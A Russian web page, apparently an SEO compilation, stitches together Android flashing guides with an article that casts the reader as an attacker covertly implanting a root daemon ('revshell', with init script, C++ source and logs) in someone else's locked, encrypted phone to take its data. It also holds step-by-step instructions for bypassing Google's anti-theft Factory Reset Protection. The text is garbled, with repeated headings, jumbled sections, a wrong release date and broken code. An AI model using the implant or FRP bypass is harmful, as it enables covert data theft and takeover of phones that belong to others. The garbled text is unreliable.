Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция Карманный ПК

Что ты хочешь и что ты получишь?

Итак, предположим, что ты держишь в руках совершенно новый смартфон. Твоя задача — установить на него CyanogenMod (как вариант — AOKP, ParanoidAndroid или популярный SuperVasyaAndroidModPlus) и ядро franco.kernel. И тот и другой распространяются в прошиваемых через консоль восстановления zip-файлах.

Однако обычная конcоль их не примет из-за кривой цифровой подписи («не производителя это подпись, прощайте»). Поэтому тебе нужна кастомная консоль восстановления, которая не обращает внимания на цифровые подписи. Это может быть ClockworkMod или TWRP.

Бесплатная версия franco.updater не умеет ничего, кроме установки и обновления ядра
Бесплатная версия franco.updater не умеет ничего, кроме установки и обновления ядра

Но! Чтобы установить кастомную консоль восстановления, нужны права записи во внутреннюю память смартфона, то есть нужен root. А root в «не Nexus» устройствах всегда получают с помощью взлома защиты Android. Итого в целом картина действий выглядит так: получение root -> установка консоли восстановления ->

В CyanogenMod есть собственный механизм OTA-обновления прошивки
В CyanogenMod есть собственный механизм OTA-обновления прошивки

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"

revshell.hpp

#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignoren");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!n");
    LOGD("My PID -- %dn", getpid());
    LOGD("My parent PID -- %dn", getppid());
    LOGD("My UID -- %dn", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

revshel.cpp

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Если забыли пароль

Для моделей «Сяоми» на базе «Миуи 7» существует вариант сброса пароля. Для этого предусмотрена кнопка «Забыли пароль?», появляющаяся после 5 неправильных вводов цифр разблокировки аппарата и позволяющая вернуть над ним контроль. Если в смартфоне предусмотрена такая функция, то выполняют следующие действия:

  • вводят пять раз неверный код;
  • кликают по «Forgot Password» («Забыли пароль»);
  • выбирают Mi-аккаунт или почту Google для восстановления;
  • вводят данные от выбранного профиля;
  • меняют забытые цифры на новые.

На этом процедура взлома закончена. Для моделей Xiaomi на базе Miui («Редми 4») потребуется другой вариант решения проблемы. Телефон разблокируют с помощью сброса до заводских настроек, при этом удаляются все личные сведения, кроме информации, хранящейся на сим-карте и флешке. Их необходимо убрать из смартфона перед началом работ.

Этот способ можно использовать на Xiaomi Redmi, когда загрузчик разблокировался или есть авторизация в Google/Mi-аккаунте, который рекомендуется создать сразу после покупки устройства. Новая версия прошивки после нажатия кнопки «Забыли пароль?» выдает следующую инструкцию:

Восстановление пароля через почту Google.

Эту операцию Hard Reset нельзя осуществить вручную, если заблокирован загрузчик. После удаления пароля устройство можно будет использовать. Аналогичным образом можно восстановить управление телефоном через Google-аккаунт, активированный на аппарате. Вместо компьютера потребуется современное устройство Андроид. Затем нужно:

Через некоторое время телефон будет чист и на него можно устанавливать новый пароль и пользоваться им. Если нет возможности вернуть доступ к устройству официальными способами, то придется сбросить аппарат до заводских настроек.

Метод подходит для «Ксиаоми» с разблокированным разрузчиком.

После этого выполняют такие действия:

  • выключают смартфон;
  • нажимают кнопку включения и увеличения громкости;
  • ждут появления меню.

На старых версиях «Рековери» пользуются следующим образом:

  • кликают в меню на English (если нельзя управлять аппаратом через дисплей, то по строкам перемещаются с помощью клавиши регулирования громкости и включают нажатием на Power);
  • выбирают Wipe & Reset;
  • нажимают Wipe All Data и подтверждают выбор;
  • ждут обнуления настроек.

Меню Recovery в Xiaomi.

Поздняя версия прошивки выдает меню «Рековери» с другой структурой, в котором нужно:

  • нажать на нижнюю кнопку справа, когда информация выводится на китайском языке;
  • выбрать режим Recovery;
  • кликнуть по кнопке ОК на появившийся вопрос.

Как обновить старый смартфон и дать ему вторую жизнь? обновляем samsung galaxy s3 на свежую версию android / смартфоны и мобильные телефоны / ixbt live

Сегодня хочу рассказать, как можно дать вторую жизнь старому телефону с минимальным вложением. В качестве примера будут два смартфона Samsung Galaxy S3. Эти некогда топовые флагманы, по сегодняшним меркам имеют весьма скромные характеристики. Но если сравнить их с современными бюджетными и ультрабюджетными смартфонами, то окажется что характеристики у старичков уже схожи, а чем-то даже лучше. И вся проблема этих старых телефонов заключается в том, что они перестали обновляться еще на версии Android 4.3, а новые программы сейчас хотят ПО посвежее. Собственно, так мне и попали в руки два стареньких Samsung S3, которые несмотря на хороший внешний вид, уже не тянули никаких программ из-за того, что имели прошивку на версии Android 4.3. а новых версий Android (официальных) под эти смартфоны уже не выходило. Человеку, который дал мне эти смарты, нужен был вариант второго смартфона, чтобы работала навигация, ютуб, была камера и были мессенджеры VK, Skype и Whatsapp.

Ниже я расскажу о том, как и что я сделал. И в итоге за несколько часов получил вполне неплохой бюджетный смартфон по цене менее 1000 рублей, с более-менее свежим Android.

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Итак. Имею на руках два смартфона Samsung Galaxy S3 (заводской индекс GT-i9300). Данный смартфон был выпущен на рынок 3 мая 2022 года. То есть на сегодня этим смартам уже более 10 лет. Точнее этой модели. По характеристикам тут всё скромно, если смотреть по сегодняшним меркам: четырёхъядерный центральный процессор Exynos 4412 производства Samsung либо двухъядерный Qualcomm Snapdragon S4. 1гб оперативной памяти и16гб постоянной памяти. Экран HD SuperAMOLED с диагональю 4,8 дюйма. Камера на 8МП (кстати вполне неплохая). Аккумулятор ёмкостью 2100 мА·ч. И что самое интересное, это наличие NFC.

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция
Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Если посмотреть на барахолке, то цена на этот смартфон сейчас составляет от 700 до 1500 рублей в зависимости от состояния. Что в целом несколько ниже, чем цена на различные китайские бюджетные смартфоны с аналогичными характеристиками. Правда скорее всего у десятилетнего смартфона будет уставший аккумулятор, но его без проблем можно купить на Aliexpress за 3-5 долларов. Можно даже несколько штук купить и менять их по мере разряда и износа, что иногда будет полезно.

Теперь о том, как обновить прошивку.

Как я уже писал выше, последняя официальная прошивка для Samsung Galaxy S3 это Android версии 4.3. Они и были установлены на смартфонах.

Для того чтобы понять, можно ли обновить наш смартфон, нужно найти профильную тему на 4PDA или на 4XDA. И проверить её н предмет кастомных прошивок с более свежей версией Android.

На 4PDA мной были найдены прошивки вплоть до 11 версии Android:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Забегая вперёд, скажу, что совсем свежий Android уже не очень корректно работает на старом железе. Поэтому лучше посмотреть на более старую версию прошивки, но, чтобы она работала стабильно. Ну и чтобы нужный нам софт поддерживал эту версию ПО. Поэтому я остановил свой выбор на Android 9 с оболочкой LineageOS 16.0. Хотя ради эксперимента я ставил и Android версии 11. Но он работал с некоторым подтормаживанием, а приложение камеры вообще вылетало в ошибку:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Поэтому не стоит гнаться за новым, а ищем стабильность. Итак. С версией Android определились. Теперь нам нужно найти как этот андроид зашить в телефон. Тут нет единого пути, так как на каждую модель инструкции отличаются. Как правило нужно просто внимательно изучить тему по прошивке на 4PDA и найти инструкцию от тех хороших людей, которые эту инструкцию написали для последователей и потомков. Ниже расскажу о методе прошивки именно для Samsung S3.

Нам понадобятся:

  • Драйвера на телефон Samsung (на Windows 11 они устанавливаются только в режиме совместимости, на более старой версии Windows проблем с установкой нет)
  • Программа Odin, для прошивки смартфонов Samsung.
  • Непосредственно сам файл прошивки с нужной нам версией Android.
  • Файл кастомного рекавери TWRP, которое подменит оригинальный рекавери смартфона (если по-простому, то рекавери это нечто похожее на Bios в вашем компьютере)
  • Дополнительное по: эмулятор терминала, проводник и т.д.

Всё это можно взять тут, для конкретно Samsung S3

Ну и чаще всего нужна флэшка MicroSD объемом от 2гб, для того чтобы на нее закинуть прошивку. Если она прошивается не через компьютер.

Также в качестве рекомендации могу добавить, что лучше использовать качественный USB кабель, чтобы не возникло никаких сюрпризов во время прошивки на середине процесса. А сам кабель лучше подключать напрямую к портам на материнской плате, без использования переходников, удлинителей или хабов. Или лучше использовать ноутбук с заряженной батареей, чтобы исключить окирпичивание телефона, если вдруг отрубят электричество.

Теперь пошагово.

Первым делом я рекомендую прошить на телефон официальную последнюю сервисную версию прошивки. Это очистит память телефона от ненужных файлов, а также вернет все настройки к заводскому состоянию.

Правда перед прошивкой убедитесь, что в памяти телефона не хранится никакой нужной вам информации, такой как старые фотографии в единственном экземпляре или диктофонные записи и т.д. При прошивке это всё удалится навсегда.

После того как мы прошили телефон, нужно получить root для установки кастомного рекавери. Для этого в режиме прошивки (нужно одновременно зажать кнопку вниз, кнопку Home и кнопку питания) прошиваем в телефон через Odin специальный файл для получения Root. Также можно использовать программы типа kingRoot. На старых версиях смартфонов они еще работают.

После прошивки Root включаем телефон и убеждаемся, что в меню появился значок SuperSU. Теперь нам нужно установить кастомное рекавери. Для этого на флэшку закидываем установочный файл программы терминала командной строки и сам файл кастомного рекавери, убеждаемся, что телефон видит эту флэшку и файлы:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Запускаем программу эмулятора терминала, получаем Root разрешение через команду SU и затем набираем следующий текст:

dd if=/sdcard/Download/recovery.img of=/dev/block/mmcblk0p6

ГДЕ:

«/sdcard/Download/recovery.img» — путь к скачанному ранее recovery.img. (но в моём случае путь выглядел как /storage/extSdCard/recovery.img )

Если он находится в другом месте, здесь следует указать соответствующий путь к нему.

«/dev/block/mmcblk0p6» — путь к разделу рекавери на устройстве, куда мы прошиваем TWRP.

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Ах, да, нужная нам прошивка тоже должна лежать на карте памяти.

Теперь последний шаг. Выключаем телефон. Зажимаем кнопки вверх home питание, и попадаем в прошитый нами рекавери TWRP. В котором сперва делаем полный сброс и подготовку к замене прошивки (такая опция находится в разделе Wipe), а затем устанавливаем сам файл прошивки:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

После этого просто перезагружаем телефон и видим новый логотип загрузки:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

 Ну а затем проходим стандартное первое включение с настройками:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Теперь у нас есть десятилетний смартфон, с более-менее актуальной версией Android:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Так как в данной ОС нет сервисов Google, она не занимает много места и всё работает достаточно шустро.

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция
Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция
Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Ну и камера работает хорошо. Кстати, снимки тут вполне приличные, для старичка:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция
Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Можно даже сфотографировать документы и потом на фото разобрать весь текст:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Для того чтобы полноценно пользоваться телефоном, нужно еще сделать некоторые надстройки. Это уже по желанию. Для того чтобы смотреть ютуб, качаю из интернета программу Vanced Manager и устанавливаю её:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Теперь тут есть актуальная версия ютуба и плюсом отсутствие рекламы в видео.

Ну а для того, чтобы поставить любые другие нужные программы, я рекомендую использовать магазин приложений Aptoide.

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

Через него можно устанавливать и обновлять любые программы, и в некоторых аспектах это приложение даже лучше, чем оригинальный Google Play (йохохо и бутылка рома!) ну вы поняли.

Затем аналогичным образом я прошил и второй смартфон:

Самые простые способы прошить любой Андроид-телефон????пошаговая инструкция

По итогам всех действий, что мы имеем:

Свежая версия Android. А значит и возможность использования нужными нам программами.

Легкий, красивый (на любителя) и быстрый интерфейс.

Копеечная цена за сам телефон

Немного потраченного времени, которое в моём случае было обменяно на другую работу. (пока я прошивал телефоны, хозяин телефонов отремонтировал мне проводку в одной из комнат). Так сказать бартером, и каждый занимался тем, что умеет хорошо делать.

Заключение:

Данный метод подходит не ко всем телефонам. Но если у вас в ящике валяется флагман прошлых лет, его скорее всего можно обновить на кастомную прошивку. Если же у вас нонейм китаец или старый бюджетник, то скорее всего под него вы свежую прошивку не найдете.

Теперь смартфоны можно использовать как дополнительную звонилку, или как телефон для стариков, или как телефон для ребенка. Естественно, об играх тут можно забыть. Но мессенджеры, ютуб, браузер и камера работать будут. Телефоном можно будет пользоваться еще несколько лет. И это всё будет стоить гораздо дешевле, чем покупать бюджетную звонилку с таким же объёмом памяти, но ужасной камерой.

З.Ы.: Извиняюсь за не очень качественные фотографии и пыль. Но делать красивые фотки не было времени. Так как фоткал всё в процессе прошивки и сперва делал это просто для того, чтобы не забыть. Только потом уже решил оформить в статью, вдруг это будет полезным не только мне. 

Как разблокировать загрузчик

adb-fastboot-installer
Установщик ADB & Fastboot

Большинство смартфонов Android имеют так называемый режим fastboot. Это своего рода «расширенный загрузчик». С помощью этого режима обычный загрузчик можно разблокировать. Базовым инструментом для этого является «Android Debug Bridge», или ADB. Он ориентирован, в первую очередь, для разработчиков приложений под Android, но и обычным пользователям дает много возможностей.

Для начала вам нужны драйвера для смартфона. Их можно легко установить автоматически из Windows 7, просто подключив смартфон к ПК.Также нужны драйвера ADB и Fastboot. Для этого загрузите из интернета установщик и запустите скачанный файл в режиме администратора. Обязательно установите драйвера для всей системы. Установщик спросит вас, действительно ли вы хотите это сделать.

После того, как вы совершили эти шаги, необходимо подключить устройство к ПК в режиме fastboot. У многих смартфонов есть для этого специальная комбинация клавиш. В качестве альтернативы, однако, вы также можете подключить включенный смартфон к ПК и ввести команду «adb reboot bootloader» в командной строке.

Теперь вы можете легко разблокировать загрузчик командой «fastboot flashing unlock». Затем снова загрузитесь в режим fastboot и введите «fastboot flashing unlock_critical», чтобы окончательно разблокировать загрузчик. Таким образом вы можете свести к минимуму риск того, что ваш смартфон превратится в «кирпич» при установке новой прошивки.

В качестве альтернативы на некоторых смартфонах разблокировка может быть выполнена с помощью команды «fastboot oem unlock».

Однако бывают исключения. Например, смартфоны Samsung не имеют реального режима fastboot. Вместо этого есть режим загрузки. Чтобы разблокировать загрузчик, необходимо использовать программу Odin, которая может устанавливать файлы, умеющие это делать.

Еще одно исключение составляют смартфоны от Sony. Перед тем, как взломать смартфон, вам сначала сначала придется зарегистрировать устройство на странице разработчика, введя IMEI и свой e-mail, чтобы получить специальный код разблокировки.

О том, как инсталлировать кастомную систему восстановления данных, читайте в следующем материале.

Обновление из рекавери

Кастомные recovery позволяют прошить смартфон без компьютера, предварительно скачав на устройство (а лучше на SD-карту) файл прошивки или бэкапа в формате .zip. Интерфейс в разных рекавери может несколько отличаться, однако принцип установки ПО одинаков для всех.

К примеру, для перепрошивки телефона с помощью TWRP необходимо сделать следующее:

  1. Выключить устройство и войти в режим рекавери, используя соответствующую комбинацию (обычно это кнопка включения и одна из клавиш громкости).Переход в режим recovery
  2. Тапнуть по меню «Очистить» (Wipe) и выполнить полный сброс данных — Dalvik Cache, System, Data, Internal Storage, Cache. По окончании операции следует перезагрузиться в рекавери.Режим recovery
  3. Перейти к пункту «Установить» (Install), указать путь к файлу прошивки и дождаться завершения процесса.
  4. Очистить кэш нажатием соответствующей кнопки и перезагрузиться в систему.

Первый запуск Android после перепрошивки может занять до 10 минут, это абсолютно нормально и волноваться не о чем. Однако если по истечении указанного времени система так и не загрузилась, можно говорить о «бутлупе», то есть циклическом перезапуске. В этом случае следует перезагрузиться в рекавери и провести восстановление из созданного ранее бэкапа ОС.

Обхода аккаунта google через  «quickshortcutmaker»

 Кстати я бы сказал, что данный способ помогает 80% случаях, которые связанны с FRP. Так что рекомендую в первую очередь воспользоваться именно им.

  1. Включаем телефон и подсоединяемся к Wi-Fi;
  2. В поле где нужно указать почту, та как и в первом варианте прописываем несколько букв и выделяем их;
  3. В появившемся меню нажимаем на три точки и выбираем пункт «нужна поддержка или помощь (ASSIST) », не помню, как точно называется данный пункт;
  4. Далее вас перекинет в окно «Google Now», где вам предложат помощь, но тут нам нужно нажать на «Нет, спасибо»;
  5. После этого появится поиск Google, с помощью которого мы сможем перемещаться между различными пунктами меню телефона. Итак, в строке поиска прописываем Chrome и запускаем его нажав на появившуюся иконку;
  6. Итак для начала нам как обычно. Нужно попасть в Chrome. Поэтому выполняем с 1 по 5 пункт, которые указывались в предыдущем варианте;
  7. Дальше ищем и скачиваем установочный apk файл, программки Test DPC;
  8. Запускаем его установку, и по необходимости разрешаем установку с неизвестных источников.
  9. В открывшемся приложение отмечаем второй пункт «Set up device owner» и переходим дальше;
  10. Несколько раз подтверждаем переход к следующему шагу нажав на «encrypt (зашифровать) »;
  11. После этого телефон должен перезагрузится и пройдет несколько секунд настройки установленных ранее параметров а приложения Test DPC;
  12. Дальше телефон сам включится и снова, как обычно, настраиваем телефон. Может появится ещё несколько новых пунктов, но в них ничего менять не нужно, просто пропускайте эти шаги и переходите дальше;
  13. Настроив телефон должен загрузится и у нас появился доступ к его основным настройкам, это как раз то что нам нужно. Так что первым делом заходим в «Настройки»;
  14. Переходим в «Об устройстве» — «Сведения о ПО» и несколько раз нажимаем по «номеру сборки», до тех пор пока не появится сообщение, что теперь вам доступны параметры разработчика;
  15. Возвращаемся обратно и заходим в «Параметры разработчика», где включаем пункт «Разблокировка OEM»;
  16. Дальше возвращаемся обратно в главное меню настроек выбираем пункт «Восстановление и сброс» и делаем очередной сброс данных;
  17. После того как телефон перезагрузится заново настраиваем телефон зарегистрировав новый или введя уже существующий аккаунт Google;

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE.

Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована.

На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей.

Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно.

Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Про мини ПК:  Где купить телефон в Финляндии?
Оцените статью
Карман PC
Добавить комментарий